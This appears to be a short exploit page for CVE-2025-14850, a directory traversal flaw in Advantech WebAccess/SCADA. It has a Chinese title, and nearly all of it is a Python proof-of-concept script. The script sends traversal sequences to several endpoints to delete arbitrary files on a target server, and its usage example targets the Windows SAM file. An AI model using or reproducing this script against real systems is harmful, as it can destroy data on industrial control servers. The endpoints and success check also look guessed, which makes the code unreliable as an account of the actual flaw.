CVE-2025-14850: Advantech WebAccess/SCADA 目录遍历漏洞导致任意文件删除

import requests import sys # CVE-2025-14850 PoC - Advantech WebAccess/SCADA Directory Traversal # Target: Delete arbitrary files via path traversal def exploit_directory_traversal(target_url, filename): """ Exploit CVE-2025-14850: Directory Traversal in Advantech WebAccess/SCADA This PoC demonstrates how an attacker can delete arbitrary files by exploiting the path traversal vulnerability. Args: target_url: Base URL of the vulnerable WebAccess server filename: Target file to delete (e.g., ../../windows/system32/config/sam) """ # Path traversal sequences to bypass path validation traversal_sequences = [ "../" * i + filename for i in range(1, 6) ] + [ "..\\" * i + filename for i in range(1, 6) ] print(f"[*] Target: {target_url}") print(f"[*] Target file: {filename}") print("[*] Testing directory traversal sequences...\n") for seq in traversal_sequences: # Try file deletion via different endpoints endpoints = [ f"{target_url}/WebAccess/fileop.axd?action=delete&path={seq}", f"{target_url}/WebAccess/../../{seq}", f"{target_url}/WebAccess/download.axd?file={seq}" ] for endpoint in endpoints: try: # Send malicious request with low privileges response = requests.get( endpoint, timeout=10, verify=False, headers={ "User-Agent": "Mozilla/5.0", "Accept": "*/*" } ) print(f"[*] Testing: {endpoint[:80]}...") print(f" Status: {response.status_code}") # Check for successful exploitation if response.status_code == 200: print(f"[!] Potential file deletion: {seq}") print(f"[!] Request: {endpoint}") return True except requests.RequestException as e: print(f"[-] Error: {e}") continue print("[-] Exploitation failed or target not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14850_poc.py <target_url> ") print("Example: python cve-2025-14850_poc.py http://192.168.1.100 ../../windows/system32/config/sam") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_directory_traversal(target, file_path)